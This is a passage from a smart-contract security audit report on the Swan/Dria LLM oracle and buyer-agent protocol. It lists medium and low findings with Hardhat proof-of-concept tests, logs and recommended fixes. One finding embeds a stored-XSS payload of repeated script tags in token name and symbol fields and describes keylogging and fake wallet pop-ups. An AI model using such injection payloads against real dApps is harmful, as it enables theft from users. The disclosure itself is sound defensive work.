    await token.connect(seller).transfer(await buyerAgent.getAddress(), parseEther("3"));

    // Approve Swan to spend tokens on behalf of the seller
    await token.connect(seller).approve(await swan.getAddress(), PRICE);

    // Seller lists two assets on Swan
    await listAssets(swan, buyerAgent, [[seller, PRICE], [seller, PRICE]], NAME, SYMBOL, DESC, 0n);
    const [listedAsset, secondListedAsset] = await swan.getListedAssets(await
    ↪  buyerAgent.getAddress(), 0n);
    asset = await ethers.getContractAt("ERC721", listedAsset);
    secondAsset = await ethers.getContractAt("ERC721", secondListedAsset);

    // Increase time to move to the Buy phase
    await time.increase(3600);
});

it("should successfully purchase the second asset if it is not transferred", async function () {
    // Ensure we are in the Buy phase of the first round
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.equal(0n);
    expect(phase).to.equal(Phase.Buy);

    // Ensure the second asset is still owned by the seller
    expect(await secondAsset.ownerOf(1)).to.equal(seller.address);

    // BuyerAgent attempts to purchase the second asset
    await buyerAgent.connect(buyer).swanPurchase(secondAsset.target);

    // Verify that the second asset is now owned by the BuyerAgent
    expect(await secondAsset.ownerOf(1)).to.equal(await buyerAgent.getAddress());
});

it("should revert purchase if asset is transferred away or approval is revoked", async function () {
    // Ensure we are in the Buy phase of the first round
    const [round, phase] = await buyerAgent.getRoundPhase();
    expect(round).to.equal(0n);
    expect(phase).to.equal(Phase.Buy);

    // Verify approval status for the first asset and ensure seller owns it
    expect(await asset.ownerOf(1)).to.equal(seller.address);
    expect(await asset.isApprovedForAll(seller.address, swan.target)).to.be.true;

    // Seller transfers the asset directly to another address (dummyUser) before the BuyerAgent
    ↪  attempts to purchase
    await asset.connect(seller).transferFrom(seller.address, dummyUser.address, 1);
    expect(await asset.ownerOf(1)).to.equal(dummyUser.address);
    //// or remove approval
    // await asset.connect(seller).setApprovalForAll(swan.target, false);
    // expect(await asset.isApprovedForAll(seller.address, swan.target)).to.be.false;


    // Attempt to purchase the transferred asset using BuyerAgent, expecting a revert due to
    ↪  insufficient approval
    try {
        await buyerAgent.connect(buyer).swanPurchase(asset.target);
        throw new Error("Expected purchase to revert, but it succeeded");
    } catch (error) {
```

```
            if (error.message.includes("ERC721InsufficientApproval")) {
                console.log("swan address:", swan.target);
                console.log("Revert message matched: Purchase failed due to insufficient approval.",
                ↪  error);
            } else {
                throw new Error(`Unexpected revert message: ${error.message}`);
            }
        }
    });
});
```

A seller lists two assets on the Swan platform. The BuyerAgent can buy the second asset successfully, which proves the correct functionality of the purchase mechanism. However, the first asset, which is transferred or has approval revoked, will fail. Before the `BuyerAgent::purchase` function is called, the seller transfers one of the assets or revokes the approval for Swan. The `BuyerAgent::purchase` call attempts to execute but fails due to the changed status of the asset, resulting in a reversion of the entire transaction.

output:

```
  BuyerAgent Purchase Revert Scenario
    should successfully purchase the second asset if it is not transferred
swan address: 0xc6e7DF5E7b4f2A278906862b61205850344D4e7d
Revert message matched: Purchase failed due to insufficient approval. Error: VM Exception while
↪  processing transaction: reverted with custom error
↪  'ERC721InsufficientApproval("0xc6e7DF5E7b4f2A278906862b61205850344D4e7d", 1)'
  ...
    should revert purchase if asset is transferred away or approval is revoked
```

Recommendations The solution to this issue may depend on design choices. One possible recommendation is to modify the purchase logic to check the result of each individual `Swan::purchase` call and ignore reverts for specific assets. This way, if one asset cannot be purchased due to a transfer or approval revocation, the other assets can still be successfully purchased. This approach would prevent the entire batch transaction from failing due to issues with a single asset.

7.2.7 M-07. Phase calculation inaccuracy will always extend sell phase and cut withdrawal phase time

Submitted by newspacexyz, neilalois. Selected submission by: neilalois.

Summary

Due to incorrect if comparison sell period will always be extended by 1 unit and cut withdrawal time by the same amount.

Vulnerability Details

In the phase comparison:

```
        if (roundTime <= params.sellInterval) {
            return (round, Phase.Sell, params.sellInterval - roundTime);
        } else if (roundTime <= params.sellInterval + params.buyInterval) {
            return (round, Phase.Buy, params.sellInterval + params.buyInterval - roundTime);
        } else {
            return (round, Phase.Withdraw, cycleTime - roundTime);
        }
```

three ifs determine which phase it is using the current roundTime (which is a timestamp remainder). But because incorrect comparison sign "<=" is used it always extends the first phase interval (sellInterval). Look at "Tools Used" for an example case.

This also returns incorrect "Time till next phase", last of the three parameters. As both Sell and Buy phases, can reach 0.

Severity

Incorrect phase calculation only shifts 1 second from last to first phase. But because Base blocks at the time of writing are minted every 2 seconds, the error will be more significant because (block.timestamp updated frequently - higher chance to fall in the shifted seconds):

- Transactions that are meant for "Buy" phase - can fall in the extended "Sell" phase and fail.
- If "Withdrawal" phase is set to 1 seconds - it will be skipped (never reached).
- Even if "Sell" interval is set to 0 seconds and should skip, it will still be reached.

The comparison is at the core of the protocol and often used, can cause failing transactions and invalid protocol functionality (skipping "Withdrawal"). But no loss of funds (apart from gas) - Medium.

Tools Used

Manual review + hardhat tests

```
const phaseIndexToStr = ["Buy", "Sell", "Withdraw"];
const getBlockTimestamp = async () => {
  const latestBlock = await ethers.provider.getBlock("latest");
  if (!latestBlock) {
    throw new Error("No latest block found");
  }
  return latestBlock.timestamp;
};

describe("Phases calculation", function () {
  it("Calculation extends sell and cuts withdraw phase short", async function () {
    // all phases set to equal = 2
    await swan
      .connect(dria)
      .setMarketParameters({ ...MARKET_PARAMETERS, buyInterval: 2, sellInterval: 2, withdrawInterval:
      ↪  2 });

    // after new market params are set the round and phase restarts
    for (let i = 0; i < 7; i++) {
      const phaseRes = await buyerAgent.getRoundPhase();
      const markSetOn = Number((await swan.getCurrentMarketParameters()).timestamp);
      const currentTime = await getBlockTimestamp();
      console.log("Time since market set:", currentTime - markSetOn);
      console.log("Current phase:", phaseIndexToStr[Number(phaseRes[1])]);
      console.log("Time till next:", Number(phaseRes[2]));
      await ethers.provider.send("evm_increaseTime", [1]);
      await ethers.provider.send("evm_mine");
    }
  });
});
```

The following test prints out:

```
Time since market set: 0
Current phase: Sell
Time till next: 2
Time since market set: 1
Current phase: Sell
Time till next: 1
Time since market set: 2
Current phase: Sell // <- Sell phases lasts for 3 seconds
Time till next: 0   // <- shouldn't reach zero
Time since market set: 3
Current phase: Buy
Time till next: 1
```

```
Time since market set: 4
Current phase: Buy
Time till next: 0   // <- shouldn't reach zero
Time since market set: 5
Current phase: Withdraw
Time till next: 1   // <- Withdraw phases lasts for 1 second
Time since market set: 6
Current phase: Sell
Time till next: 2
```

As we can see even though all phases should take the same amount of time - Sell is always extended buy 1 and Withdraw phase cut short buy one.

Recommendations

Replace comparison from "<=" to "<" in both sellInterval and buyInterval.

7.3 Low Risk Findings

7.3.1 L-01. Inaccurate best response selection in `LLMOracleCoordinator::getBestResponse`.

Submitted by ChainDefenders, 0xnbvc, robertodf99, v1vah0us3, m4k2xmk, alqaqa, zukanopro. Selected submission by: v1vah0us3.

Summary

The `LLMOracleCoordinator::getBestResponse` function may not return the best performing result of the given task. This behaviour can lead to less than optimal purchases, especially in scenarios where response validation has not taken place.

Description

The `LLMOracleCoordinator::getBestResponse` function aims to return the best-performing response based on validation scores for a given task. However, there is an issue when the task responses have no validation requirements, as it is when `task.parameters.numValidations == 0` in `LLMOracleCoordinator::respond`. In such cases, all responses will be assigned a default score of 0 (see [https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L226]) and will not require any validation, setting the task status to `Completed`. This may lead to the following consequences:

** The `LLMOracleCoordinator::getBestResponse` function selects the first response from `taskResponses` array, which may not represent the best or most accurate result. In fact it could be an empty, irrelevant or false response. Since all scores are 0, this does not indicate performance quality.

```
function getBestResponse(uint256 taskId) external view returns (TaskResponse memory) {
        TaskResponse[] storage taskResponses = responses[taskId];

        if (requests[taskId].status != LLMOracleTask.TaskStatus.Completed) {
            revert InvalidTaskStatus(taskId, requests[taskId].status,
            ↪  LLMOracleTask.TaskStatus.Completed);
        }

@>        TaskResponse storage result = taskResponses[0];
@>        uint256 highestScore = result.score;
        for (uint256 i = 1; i < taskResponses.length; i++) {
@>          if (taskResponses[i].score > highestScore) {
              highestScore = taskResponses[i].score;
              result = taskResponses[i];
            }
        }
        return result;}
```

** When the task parameter `numValidations` is set to 0, the system lacks a mechanism to validate responses effectively. Consequently, even incorrect or irrelevant responses can be treated as acceptable output and returned as the best result after calling `LLMOracleCoordinator::getBestResponse`.

#Proof of Code

For the proof of concept here is a valid test case, please paste it into the `LLMOracleCoordinator.test.ts` file:

```
describe("without validation", function () {
    const [numGenerations, numValidations] = [2, 0];
    let generatorAllowancesBefore: bigint[];

    this.beforeAll(async () => {
      taskId++;
      generatorAllowancesBefore = await Promise.all(
        generators.map((g) => token.allowance(coordinatorAddress, g.address))
      );
    });

    it("should make a request", async function () {
      await safeRequest(coordinator, token, requester, taskId, input, models, {
        difficulty,
        numGenerations,
        numValidations,
      });
    });

    it("should NOT respond if not a registered Oracle", async function () {
      const generator = dummy;

      await expect(safeRespond(coordinator, generator, output, metadata, taskId, 0n))
        .to.revertedWithCustomError(coordinator, "NotRegistered")
        .withArgs(generator.address);
    });

    it("should respond (1/2) to a request only once", async function () {
      // using the first generator
      const generator = generators[0];
      await safeRespond(coordinator, generator, output, metadata, taskId, 0n);

      // should NOT respond again
      await expect(safeRespond(coordinator, generator, output, metadata, taskId, 0n))
        .to.be.revertedWithCustomError(coordinator, "AlreadyResponded")
        .withArgs(taskId, generator.address);
    });

    it("should respond (2/2)", async function () {
      // use the second generator
      const generator = generators[1];
      await safeRespond(coordinator, generator, output, metadata, taskId, 1n);
    });

    it("should NOT respond if task is not pending generation", async function () {
      // this time we use the other generator
      const generator = generators[2];

      await expect(safeRespond(coordinator, generator, output, metadata, taskId, 2n))
        .to.revertedWithCustomError(coordinator, "InvalidTaskStatus")
        .withArgs(taskId, TaskStatus.Completed, TaskStatus.PendingGeneration);
    });

    it("should NOT respond to a non-existent request", async function () {
```

```
      const generator = generators[0];
      const nonExistentTaskId = 999n;

      await expect(safeRespond(coordinator, generator, output, metadata, nonExistentTaskId, 0n))
        .to.revertedWithCustomError(coordinator, "InvalidTaskStatus")
        .withArgs(nonExistentTaskId, TaskStatus.None, TaskStatus.PendingGeneration);
    });

    // Test case returns the very first response when no validations are present
    it("should return the first response as the 'best' when no validations are present", async function
    ↪  () {

      const task = await coordinator.requests(taskId);
      console.log(`Task Status: ${task.status}`);
      expect(task.status).to.equal(TaskStatus.Completed);

      const responses = await coordinator.getResponses(taskId);
      console.log("Generator responses:");
      responses.forEach((response: any, index: number) => {
        console.log(`  Generator ${index} Address: ${response.responder}, Score: ${response.score}`);
      });

      const bestResponse = await coordinator.getBestResponse(taskId);
      console.log(`Best Response - Responder: ${bestResponse.responder}, Score: ${bestResponse.score}`);

      expect(bestResponse.responder).to.equal(generators[0].address);
      expect(bestResponse.score).to.equal(0);
    });

    it("should see rewards", async function () {
      const task = await coordinator.requests(taskId);

      for (let i = 0; i < numGenerations; i++) {
        const allowance = await token.allowance(coordinatorAddress, generators[i].address);
        expect(allowance - generatorAllowancesBefore[i]).to.equal(task.generatorFee);
      }
    });
  });
```

The test can be run with `yarn test ./test/LLMOracleCoordinator.test.ts --verbose` . Here are the logs:

```
Task Status: 3
Generator responses:
  Generator 0 Address: 0x90F79bf6EB2c4f870365E785982E1f101E93b906, Score: 0
  Generator 1 Address: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65, Score: 0
Best Response - Responder: 0x90F79bf6EB2c4f870365E785982E1f101E93b906, Score: 0
```

As you can see from the error logs, if oracle response validation is not required, all generated responses get the default score of 0 and the `LLMOracleCoordinator::getBestResponse` function returns the very first result pushed into the `TaskResponse` array of structs.

Severity

A core `BuyerAgent::purchase` function relies on the results of the `LLMOracleCoordinator::getBestResponse` function, which may not reflect the response quality or relevance, resulting in purchases based on inaccurate information. If users consistently receive from oracles poor answers that are labelled as the best, this would lead to financial losses as users would not purchase the best items, resulting in frustration and reduced confidence in the system's capabilities.

Tools Used

Manual Code Review, Hardhat

Recommendations

Consider introducing a threshold for the number of validations required before considering any response valid. It can be set in `LLMOracleManager.sol`. This ensures that responses are subjected to some level of scrutiny before being considered for the best-performing result. Revise the logic in the `getBestResponse` function to ensure that it only selects responses with non-zero scores. If all responses have a score of 0, the function should revert with a clear message indicating that no valid responses were found, or return a designated fallback value that signifies the absence of a suitable response.

7.3.2 L-02. Sequential Fee Calculations Lead to Lost Platform Revenue Due to Precision Loss

Submitted by professoraudit, ChainDefenders, 0xnbvc, skid0016, zxriptor, n3smaro, bbash, zealousdream572, mgf15, fourb, 0xlookman. Selected submission by: skid0016.

Description: Here

The `transferRoyalties` function calculates fees using sequential percentage calculations with integer division. This approach leads to precision loss as each division operation rounds down, particularly affecting small transactions or those with low percentage fees.

```
  function transferRoyalties(AssetListing storage asset) internal {
    // calculate fees
    uint256 buyerFee = (asset.price * asset.royaltyFee) / 100;
    uint256 driaFee = (buyerFee * getCurrentMarketParameters().platformFee) / 100; // Platform fee can
    ↪  round to 0
}
```

Impact: * Platform loses revenue when `driaFee` calculations round to zero

- Affects all transactions where `(buyerFee * platformFee) < 100`
- Cumulative loss of revenue over many small transactions
- Inconsistent fee application based on transaction size

Proof of Concept:

```
  // Test Case 1: Small Transaction - Platform Gets Nothing// Test Case 1: Small Transaction - Platform
  ↪  Gets Nothing
asset.price = 100
asset.royaltyFee = 3  // 3%
platformFee = 5       // 5%

buyerFee = (100 * 3) / 100 = 3
driaFee = (3 * 5) / 100 = 0  // Rounds to 0, platform gets nothing

// Test Case 2: Larger Transaction - Platform Gets Fee
asset.price = 1000
asset.royaltyFee = 3  // 3%
platformFee = 5       // 5%

buyerFee = (1000 * 3) / 100 = 30
driaFee = (30 * 5) / 100 = 1  // Platform receives fee
```

Recommended Mitigation:

1. Combine calculations to minimize precision loss:

```
  function transferRoyalties(AssetListing storage asset) internal {
    // Calculate platform fee first to avoid rounding issues
    uint256 driaFee = (asset.price * asset.royaltyFee * getCurrentMarketParameters().platformFee) /
    ↪  10000;
    uint256 buyerFee = (asset.price * asset.royaltyFee) / 100 - driaFee;
```

```
    // Transfer fees
    token.transferFrom(asset.seller, address(this), buyerFee + driaFee);
    token.transfer(asset.buyer, buyerFee);
    token.transfer(owner(), driaFee);
}
```

2.Consider using basis points (10000) instead of percentages for more precise calculations:

```
// Constants
uint256 constant BASIS_POINTS = 10000;

// Calculations using basis points
uint256 driaFee = (asset.price * asset.royaltyFee * platformFee) / (BASIS_POINTS * BASIS_POINTS);
```

7.3.3 L-03. Consensus Mechanism Allows Participation Of Voters With Insufficent Stake

Submitted by auditweiler, ChainDefenders, ooooouuuuuueeeeee. Selected submission by: auditweiler.

Summary

It is possible to participate in voting with insufficient stake.

Vulnerability Details

To participate in consensus, an `account` must be registered:

```
/// @notice Reverts if `msg.sender` is not a registered oracle.
modifier onlyRegistered(LLMOracleKind kind) {
    if (!registry.isRegistered(msg.sender, kind)) { /// @audit must be registered
        revert NotRegistered(msg.sender);
    }
    _;
}
```

https://github.com/madeupnamefinance/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleCoordinator.sol#L80C5-L86C6

Digging into the implementation of `isRegistered`, we find:

```
/// @notice Check if an Oracle is registered.
function isRegistered(address user, LLMOracleKind kind) public view returns (bool) {
@>  return registrations[user][kind] != 0; /// @audit must have non-zero stake
}
```

https://github.com/madeupnamefinance/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleRegistry.sol#L145C5-L148C6

This means, regardless of how much stake is deposited (even if it were just `1 wei`), they would be considered a valid participant in consensus.

This mechanism **relies upon the assumption that users can only register with valid minimum stakes**, since the minimum stake amounts are enforced upon registration:

```
/// @notice Register an Oracle.
/// @dev Reverts if the user is already registered or has insufficient funds.
/// @param kind The kind of Oracle to unregister.
function register(LLMOracleKind kind) public {
    uint256 amount = getStakeAmount(kind); /// @audit determines the correct stake
    // ensure the user is not already registered
    if (isRegistered(msg.sender, kind)) {
```

```
        revert AlreadyRegistered(msg.sender);
    }
    // ensure the user has enough allowance to stake
    if (token.allowance(msg.sender, address(this)) < amount) {
        revert InsufficientFunds();
    }
    token.transferFrom(msg.sender, address(this), amount);
    // register the user
    registrations[msg.sender][kind] = amount; /// @audit ensures a valid minimum stake
    emit Registered(msg.sender, kind);
}
```

https://github.com/madeupnamefinance/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleRegistry.sol#L91C5-L111C6

However, after registering for the protocol, the protocol owner may choose to increase the minimum stake for the role:

```
/// @notice Set the stake amount required to register as an Oracle.
/// @dev Only allowed by the owner.
function setStakeAmounts(uint256 _generatorStakeAmount, uint256 _validatorStakeAmount) public onlyOwner
↪  {
    generatorStakeAmount = _generatorStakeAmount; /// @audit alter minimum stake
    validatorStakeAmount = _validatorStakeAmount; /// @audit alter minimum stake
}
```

https://github.com/madeupnamefinance/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/contracts/llm/LLMOracleRegistry.sol#L133C5-L138C6

This means that **if the stake amounts were to be increased, those with inefficient stakes still continue to be recognized as valid stakers**, even though they have made an insufficient economic sacrifice.

Severity

Users with insufficient stake are permitted to participate in voting if they had registered prior to an increase in the minimum stake amount.

Tools Used

Manual Review

Recommendations

Enforce the minimum stake for the role:

```
  /// @notice Check if an Oracle is registered.
  function isRegistered(address user, LLMOracleKind kind) public view returns (bool) {
-     return registrations[user][kind] != 0;
+     return registrations[user][kind] >= getStakeAmount(kind);
  }
```

7.3.4 L-04. Ownership transfer grants former Swan contract owner continued `operator` privileges

Submitted by tigerfrake.

Summary

During initialization, the `Swan` contract assigns both the `owner` and `operator` roles to the `caller`. However, transferring ownership via the `transferOwnership()` function only updates the contract `owner` address, leaving the `previous owner`'s operator privileges intact. The `new owner` on the other hand therefore is denied this status when in reality he is the acting contract owner.

Vulnerability Details

During the contract's initialization in `Swan` contract, the `caller` is assigned both the `owner` and `operator` roles.

```
   function initialize(
        ---SNIP---
    ) public initializer {
>>      __Ownable_init(msg.sender);

        ---SNIP---
        // owner is an operator
>>      isOperator[msg.sender] = true;
    }
```

This allows them to execute functions gated by the `onlyAuthorized()` modifier, which requires the caller to be either the `BuyerAgent` owner or an `operator`.

```
    modifier onlyAuthorized() {
        // if its not an operator, and is not an owner, it is unauthorized
        if (!swan.isOperator(msg.sender) && msg.sender != owner()) {
            revert Unauthorized(msg.sender);
        }
        _;
    }
```

However, when Swan contract ownership is transferred using the inherited `transferOwnership()` function from `OwnableUpgradeable`, the `operator` status will not be revoked from the `original contract owner` and neither will it be granted to the `new owner`.

```
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }
```

This creates a situation where the previous Swan contract owner retains `operator` access even after ownership is transferred, potentially leading to `unauthorized access` if that `previous owner` acts on the retained privileges.

Clarification:

There are two `owners` I am reffering to here:

1. The Swan owner (Trusted) - This is the wallet that deploys Swan by default (*The one given operator status*)
2. `BuyerAgent` Owner: A user that created a buyer agent with `createBuyer()` function in Swan

Now according to Contest Details (**Actors**), Swan Owner is `trusted`. However, once he transfers this ownership to a new entity, he is nolonger the owner and as such, should not act on previous privileges.

Severity

This oversight could allow a `former owner` to interact with functions `restricted` to `BuyerAgent` owner or `designated operators`. Since the `onlyAuthorized()` modifier allows access to both `operators` and the `BuyerAgent`

owner, a previous contract owner retaining `operator` privileges could invoke critical functions, potentially disrupting expected contract functionality or enabling unintended actions.

Tools Used

Manual Review

Recommendations

Override the `transferOwnership()` function to correctly revoke `operator` status from the `previous owner` and assign it to the `new owner`. This ensures that the privileges managed by the `onlyAuthorized()` modifier are aligned with the current Swan contract ownership.

```
    function transferOwnership(address newOwner) public override onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }

        // @audit Revoke operator status from the current owner
+       isOperator[msg.sender] = false;

        // Transfer ownership using the parent contract's functionality
        _transferOwnership(newOwner);

        // @audit Assign operator status to the new owner
+       isOperator[newOwner] = true;
    }
```

7.3.5 L-05. Insufficient Validation of Token Name and Symbol in `list` function

Submitted by golomp3761.

Summary

The `Name` and `Symbol` variables in the `list` function are unfiltered, allowing for malicious code injection. Without character limits, this vulnerability can lead to XSS or HTML injection attacks, enabling attackers to manipulate information in the Web3 application.

Vulnerability Details

The `Name` and `Symbol` variables in the `list` function are not filtered in any way, allowing an attacker to create a token with malicious JavaScript or HTML code injected into these fields. These fields are also not limited by character count, enabling the injection of a large amount of code. If no mitigation mechanisms are implemented in the web application for malicious code from these variables, the application will be vulnerable to XSS or HTML injection attacks if the values of these variables are displayed in the web application.

https://github.com/madeupnamefinance/2024-10-swan-dria/blob/main/contracts/swan/Swan.sol#L173

Severity

If an attacker creates an asset with a symbol containing the malicious javascript payload, he could get a stored XSS on this website that render his malicious NFT name and symbol, which is legitimately generated by this dapp, according to correspondence with the sponsor, there is a possibility of transferring the created NFT to other applications like NFT exchanges, which creates an additional XSS risk on the mentioned dApps.. This could allow the attacker for example, to run a keylogger script to collect all inputs typed by a user including his password or to create a fake Metamask pop up asking a user to sign a malicious transaction.

Tools Used

Manual review.

By using the written test file, I was able to modify this line of code https://github.com/madeupnamefinance/2024-10-swan-dria/blob/c8686b199daadcef3161980022e12b66a5304f8e/test/Swan.test.ts#L64 in the following way, and the test was successful.

```
const [NAME, SYMBOL] = ["<script>alert('1')</script><script>alert('1')</script><script>alert('1')</sc
↪  ript><script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><script>ale
↪  rt('1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</script>
↪  <script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1
↪  ')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><scri
↪  pt>alert('1')</script><script>alert('1')</script>",
↪  "<script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('
↪  1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><scr
↪  ipt>alert('1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</
↪  script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</script><script>a
↪  lert('1')</script><script>alert('1')</script><script>alert('1')</script><script>alert('1')</scrip
↪  t><script>alert('1')</script><script>alert('1')</script>"];
```

Recommendations

it's absolutely necessary to sanitize the user's input on the `list` function. The asset symbol should only contain `Aa-Zz` and `0-9` characters while forbidding special ones, i.e. `< / >`. The length of possible characters should also be significantly limited. The principle of security in depth should be applied, securing each possible injection point in the best possible way.

7.3.6 L-06. Lack of output validation in `LLMOracleCoordinator::respond` allows empty responses and potential fee exploitation by oracles.

Submitted by danzero, 0xrolko, 0xhacksmithh, v1vah0us3, goran, johny7173, tihomirchobanov. Selected submission by: v1vah0us3.

Summary

The `LLMOracleCoordinator::respond` function does not validate the contents of the output parameter, allowing registered generators to submit empty responses. This lack of validation can result in incomplete or unusable outputs stored in the `TaskResponse` array of structs. If `numValidations` is set to 0, meaning no validation phase occurs, the response generator receives the `generatorFee` without any content checks, leading to potential exploitation of the fee system.

Description

In the `respond` function, generators submit responses containing output data. However, there is no mechanism to ensure that the output is not empty, even though natspec requires it: `@dev output must not be empty`. As such, it is possible for a registered generator to submit broken or empty outputs. The lack of output validation is further compounded when `task.parameters.numValidations` is set to 0, meaning no validation phase occurs. Under this condition:

1. There are no checks to ensure that the output is non-empty or meets minimal quality criteria.
2. When `task.parameters.numValidations == 0`, the task's status is set to `Completed` immediately, bypassing the validation phase. This results in direct rewards for generators without any verification of the output's quality or relevance.
3. If the `generatorFee` is substantial, this design could be exploited by malicious actors who submit arbitrary or empty outputs to repeatedly collect fees without providing meaningful contributions. While the `assertValidNonce` function's Proof-of-Work mechanism requires computational effort from oracles, it does not ensure that the content is correct or complete, leaving some potential for abuse by dishonest oracles.

On the other hand, if `numValidations > 0`, only those respondents whose answers achieve an "above-average" score will receive a fee, see [https://github.com/madeupnamefinance/2024-10-swandria/blob/main/contracts/llm/LLMOracleCoordinator.sol#L368-L369].

#Proof of Code

Here is a valid test case that serves as a proof of concept, please paste it into the `LLMOracleCoordinator.test.ts` file:

```
describe("Zero Response", function () {
  const [numGenerations, numValidations] = [2, 0];
  let generatorAllowancesBefore: bigint[];

  this.beforeAll(async () => {
    taskId++;
    generatorAllowancesBefore = await Promise.all(
      generators.slice(0, 2).map((g) => token.allowance(coordinatorAddress, g.address))
    );
  });

  it("should allow both generators to respond with an empty output and receive their respective
  ↪  fees", async function () {
    const input = "0x" + Buffer.from("What is 2 + 2?").toString("hex"); // Valid input for a new task
    const emptyOutput = "0x"; // empty output
    const emptyMetadata = "0x"; // empty metadata


    await safeRequest(coordinator, token, requester, taskId, input, models, {
      difficulty,
      numGenerations,
      numValidations,
    });

    const allowancesBefore = await Promise.all(
      generators.slice(0, 2).map((g) => token.allowance(coordinatorAddress, g.address))
    );

    await safeRespond(coordinator, generators[0], emptyOutput, emptyMetadata, taskId, 0n);
    await safeRespond(coordinator, generators[1], emptyOutput, emptyMetadata, taskId, 1n);

    const responses = await coordinator.getResponses(taskId);
    console.log("Generator oracle responses after empty output submissions with no validation
    ↪  required:");
    responses.forEach((response, index) => {
      console.log(`  Generator ${index + 1} Address: ${response.responder}, Score: ${response.score},
      ↪  Output: ${response.output}`);
    });

    // Check that both responses are empty outputs
    responses.forEach((response) => {
      expect(response.output).to.equal(emptyOutput);
    });

    // Capture allowances after responses and calculate fees received
    const allowancesAfter = await Promise.all(
      generators.slice(0, 2).map((g) => token.allowance(coordinatorAddress, g.address))
    );

    // Check allowances and log fee information for each generator
    allowancesAfter.forEach((allowanceAfter, i) => {
      const allowanceBefore = allowancesBefore[i];
      const feeReceived = allowanceAfter - allowanceBefore;

      console.log(`Allowance before response for Generator ${i + 1}: ${allowanceBefore}`);
      console.log(`Allowance after response for Generator ${i + 1}: ${allowanceAfter}`);
      console.log(`Fee received by Generator ${i + 1}: ${feeReceived}`);
      expect(allowanceAfter).to.be.above(allowanceBefore);
    });
  });
```

```
  });
```

The test can be run with `yarn test ./test/LLMOracleCoordinator.test.ts`. Here are the logs:

```
Generator oracle responses after empty output submissions with no validation required:
  Generator 1 Address: 0x90F79bf6EB2c4f870365E785982E1f101E93b906, Score: 0, Output: 0x
  Generator 2 Address: 0x15d34AAf54267DB7D7c367839AAf71A00a2C6A65, Score: 0, Output: 0x
Allowance before response for Generator 1: 0
Allowance after response for Generator 1: 16000000000000000
Fee received by Generator 1: 16000000000000000
Allowance before response for Generator 2: 0
Allowance after response for Generator 2: 16000000000000000
Fee received by Generator 2: 16000000000000000
```

As shown in the error logs, both oracle responses contain an empty output with a score of 0, which is expected since no validation was required in this case. Both generators successfully received their respective fees for responding. Note that in this scenario, the protocol accepts empty outputs as valid responses.

Severity

Without required response validations, generators can earn fees for responses that may be empty or irrelevant. This can lead to potential fee drift and higher costs for users without providing meaningful value in return.

Tools Used

Manual Code Review, Hardhat

Recommendations

In `LLMOracleCoordinator::respond`, consider implementing checks to at least ensure that the `output` field is not empty and meets minimum length criteria.

```
+   // Define the minimum required length for output in LLMOracleCoordinator.sol
+ uint256 public constant MIN_OUTPUT_LENGTH = 16;

function respond(uint256 taskId, uint256 nonce, bytes calldata output, bytes calldata metadata)
        public
        onlyRegistered(LLMOracleKind.Generator)
        onlyAtStatus(taskId, TaskStatus.PendingGeneration)
    {
        TaskRequest storage task = requests[taskId];

+        // Check that the output is not empty and meets minimal length requirement
+        require(output.length >= MIN_OUTPUT_LENGTH, "InvalidOutput: Empty or too short");

        ..............
        ..............
    }
```

If possible, introduce a minimum validation requirement in `LLMOracleManager.sol`, such as `task.parameters.numValidations == 1`, to ensure that tasks undergo some scrutiny before reaching the `Completed` status, and before any generator fees are distributed.

7.3.7 L-07. Inconsistent Best Response Selection Due to Missing Tiebreak Mechanism

Submitted by bareli, 0xvd, m4k2xmk. Selected submission by: 0xvd.

Summary

The `getBestResponse` function in `LLMOracleCoordinator` lacks a tiebreak mechanism when multiple responses have the same highest validation score.

This can lead to inconsistent results and potential manipulation of which response is selected as "best".

Vulnerability Details

Current implementation simply takes the first response with the highest score:

```
function getBestResponse(uint256 taskId) external view returns (TaskResponse memory) {
    TaskResponse[] storage taskResponses = responses[taskId];

    // ensure that task is completed
    if (requests[taskId].status != LLMOracleTask.TaskStatus.Completed) {
        revert InvalidTaskStatus(taskId, requests[taskId].status, LLMOracleTask.TaskStatus.Completed);
    }

    // pick the result with the highest validation score
    TaskResponse storage result = taskResponses[0];
    uint256 highestScore = result.score;
    for (uint256 i = 1; i < taskResponses.length; i++) {
        if (taskResponses[i].score > highestScore) {  // Note: only strictly greater than
            highestScore = taskResponses[i].score;
            result = taskResponses[i];
        }
    }

    return result;
}
```

Issues:

No tiebreaker for equal scores

First response has advantage in ties

Order-dependent results

Severity

Early responders have advantage in ties

Inconsistent selection among equally-scored responses

Tools Used

Manual Review

Recommendations

Implement deterministic tiebreak using multiple factors:

```
function getBestResponse(uint256 taskId) external view returns (TaskResponse memory) {
    TaskResponse[] storage taskResponses = responses[taskId];
    require(requests[taskId].status == LLMOracleTask.TaskStatus.Completed, "Task not completed");

    TaskResponse storage bestResponse = taskResponses[0];
    uint256 bestScore = bestResponse.score;
    bytes32 bestHash = keccak256(abi.encodePacked(
        bestResponse.output,
        bestResponse.responder,
```

```
            bestResponse.nonce
        ));

        for (uint256 i = 1; i < taskResponses.length; i++) {
            TaskResponse storage currentResponse = taskResponses[i];
            uint256 currentScore = currentResponse.score;

            // If strictly better score, always choose it
            if (currentScore > bestScore) {
                bestResponse = currentResponse;
                bestScore = currentScore;
                bestHash = keccak256(abi.encodePacked(
                    currentResponse.output,
                    currentResponse.responder,
                    currentResponse.nonce
                ));
            }
            // If tied score, use deterministic tiebreak
            else if (currentScore == bestScore) {
